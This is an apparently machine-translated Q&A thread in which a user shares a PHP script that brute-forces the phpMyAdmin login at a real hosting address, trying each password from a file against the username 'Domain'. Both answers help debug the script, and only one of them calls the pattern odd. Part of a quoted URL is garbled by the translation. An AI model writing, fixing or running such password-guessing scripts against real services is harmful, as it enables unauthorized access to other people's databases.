我尝试为phpmyadmin编写登录脚本
<?php
$user = "Domain";
$passwords = file("passwords.txt");
foreach ( $passwords as $pass){
$source = file_get_contents("http://dbadmin.one.com/index.php?lang=en&server=1&pma_username=$user&pma_password=$pass");
if(preg_match("/Database/", $source)):
echo "Login Worked with: {$pass}";
endif;
}
?>
我的问题是,它在这里不起作用
echo "Login Worked with: {$pass}";
你能看到问题吗?
答案 0 :(得分:1)
不一定是您的问题的解决方案,但一些基本的错误检查可能会指向正确的方向。您的问题甚至可能在初始调用文件时开始。
$passwords = file("passwords.txt");
if (!$passwords) {
echo 'Unable to read password file';
} //etc
$source = file_get_contents("http://dbadmin.one.com/index.php?lang=en&server=1&pma_username=$user&pma_password=$pass");
if (!$source) {
echo 'Unable to read file source';
} //etc
另外作为旁注,如果你在文件系统之外的文件上调用此函数,你不会得到类似于在浏览器中调用它的输出(HTML)(不确定这是否是你的意图)。
答案 1 :(得分:0)
$source = file_get_contents("http://dbadmin.one.com/index.php?lang=en&server=1pma_username=$user&pma_password=$pass");
if(preg_match("/Database/", $source)):
$ source的值将是获取网址的完整HTML响应:
http://dbadmin.one.com/index.php?lang=en&server=1&pma_username= $用户安培; pma_password = $通过
preg_match仅匹配该字符串的第一行。您将需要以不同方式解析字符串或替换任何换行符,以便它在整个文件中匹配。
看起来您正在使用具有许多不同密码的用户名“Domain”来测试数据库的登录。不确定这是不是你的意图,但似乎有点奇怪。